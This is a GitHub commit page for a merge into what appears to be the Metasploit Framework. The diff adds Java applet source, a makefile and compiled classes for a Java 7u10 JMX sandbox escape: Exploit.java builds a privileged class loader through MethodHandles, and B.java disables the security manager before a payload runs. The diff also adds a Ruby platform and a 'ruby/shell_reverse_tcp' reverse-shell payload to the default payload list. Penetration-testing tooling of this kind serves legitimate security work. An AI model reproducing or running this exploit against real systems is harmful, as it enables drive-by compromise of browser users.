Skip to content

Commit afb1298

Browse files
committed
Merge branch 'rapid7' into kernelsmith-msfconsole-suspend
2 parents e8c239d + c89b2b2 commit afb1298

File tree

30 files changed

+1201
-20
lines changed

30 files changed

+1201
-20
lines changed

.travis.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
language: ruby
22
rvm:
3-
- '1.8.7'
3+
#- '1.8.7'
44
- '1.9.3'
55

66
notifications:

data/exploits/j7u10_jmx/B.class

575 Bytes
Binary file not shown.

data/exploits/j7u10_jmx/Exploit.class

3.65 KB
Binary file not shown.
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
import java.security.AccessController;
2+
import java.security.PrivilegedExceptionAction;
3+
4+
public class B
5+
implements PrivilegedExceptionAction
6+
{
7+
public B()
8+
{
9+
try
10+
{
11+
AccessController.doPrivileged(this); } catch (Exception e) {
12+
}
13+
}
14+
15+
public Object run() {
16+
System.setSecurityManager(null);
17+
return new Object();
18+
}
19+
}
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
import java.io.ByteArrayOutputStream;
2+
import java.io.IOException;
3+
import java.io.InputStream;
4+
import java.io.ObjectInputStream;
5+
import java.io.ObjectOutputStream;
6+
import metasploit.Payload;
7+
import java.lang.Runtime;
8+
import java.applet.Applet;
9+
import com.sun.jmx.mbeanserver.JmxMBeanServer;
10+
import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder;
11+
import com.sun.jmx.mbeanserver.MBeanInstantiator;
12+
import java.lang.invoke.MethodHandle;
13+
import java.lang.invoke.MethodHandles;
14+
import java.lang.invoke.MethodType;
15+
import java.lang.reflect.Method;
16+
17+
18+
public class Exploit extends Applet
19+
{
20+
21+
public Exploit()
22+
{
23+
}
24+
25+
26+
public void init()
27+
{
28+
try
29+
{
30+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
31+
byte[] buffer = new byte[8192];
32+
int length;
33+
34+
// read in the class file from the jar
35+
InputStream is = getClass().getResourceAsStream("B.class");
36+
// and write it out to the byte array stream
37+
while( ( length = is.read( buffer ) ) > 0 )
38+
bos.write( buffer, 0, length );
39+
// convert it to a simple byte array
40+
buffer = bos.toByteArray();
41+
42+
JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder();
43+
JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", null, null);
44+
MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator();
45+
ClassLoader a = null;
46+
Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a);
47+
Class localClass2 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a);
48+
MethodHandles.Lookup localLookup = MethodHandles.publicLookup();
49+
MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
50+
MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);
51+
MethodType localMethodType2 = MethodType.methodType(Void.TYPE);
52+
MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 });
53+
Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);
54+
MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class });
55+
MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3);
56+
MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);
57+
MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 });
58+
Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });
59+
MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
60+
MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 });
61+
Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, buffer });
62+
localClass3.newInstance();
63+
64+
Payload.main(null);
65+
//Runtime.getRuntime().exec("calc.exe");
66+
}
67+
catch(Throwable ex)
68+
{
69+
//exception.printStackTrace();
70+
}
71+
}
72+
73+
}
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# rt.jar must be in the classpath!
2+
3+
CLASSES = \
4+
Exploit.java \
5+
B.java
6+
7+
.SUFFIXES: .java .class
8+
.java.class:
9+
javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java
10+
11+
all: $(CLASSES:.java=.class)
12+
13+
install:
14+
mv Exploit.class ../../../../data/exploits/j7u10_jmx/
15+
mv B.class ../../../../data/exploits/j7u10_jmx/
16+
17+
clean:
18+
rm -rf *.class

lib/msf/core/auxiliary/web/http.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -291,7 +291,7 @@ def _request( url, opts = {} )
291291
Response.from_rex_response c.send_recv( c.request_cgi( opts ), timeout )
292292
rescue ::Timeout::Error
293293
Response.timed_out
294-
rescue ::Errno::EPIPE, Rex::ConnectionTimeout
294+
rescue ::Errno::EPIPE, ::Errno::ECONNRESET, Rex::ConnectionTimeout
295295
Response.empty
296296
end
297297

lib/msf/core/module/platform.rb

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -339,6 +339,14 @@ class Java < Msf::Module::Platform
339339
Alias = "java"
340340
end
341341

342+
#
343+
# Ruby
344+
#
345+
class Ruby < Msf::Module::Platform
346+
Rank = 100
347+
Alias = "ruby"
348+
end
349+
342350
#
343351
# Linux
344352
#

lib/msf/ui/console/command_dispatcher/exploit.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -249,6 +249,7 @@ def self.choose_payload(mod, target)
249249
'java/meterpreter/reverse_tcp',
250250
'php/meterpreter/reverse_tcp',
251251
'php/meterpreter_reverse_tcp',
252+
'ruby/shell_reverse_tcp',
252253
'cmd/unix/interact',
253254
'cmd/unix/reverse',
254255
'cmd/unix/reverse_perl',
@@ -272,4 +273,3 @@ def self.choose_payload(mod, target)
272273
end
273274

274275
end end end end
275-

lib/rex/constants.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -82,6 +82,7 @@
8282
ARCH_ARMLE = 'armle'
8383
ARCH_ARMBE = 'armbe'
8484
ARCH_JAVA = 'java'
85+
ARCH_RUBY = 'ruby'
8586
ARCH_TYPES =
8687
[
8788
ARCH_X86,
@@ -99,7 +100,8 @@
99100
ARCH_CMD,
100101
ARCH_PHP,
101102
ARCH_TTY,
102-
ARCH_JAVA
103+
ARCH_JAVA,
104+
ARCH_RUBY
103105
]
104106

105107
ARCH_ALL = ARCH_TYPES

0 commit comments

Comments
 (0)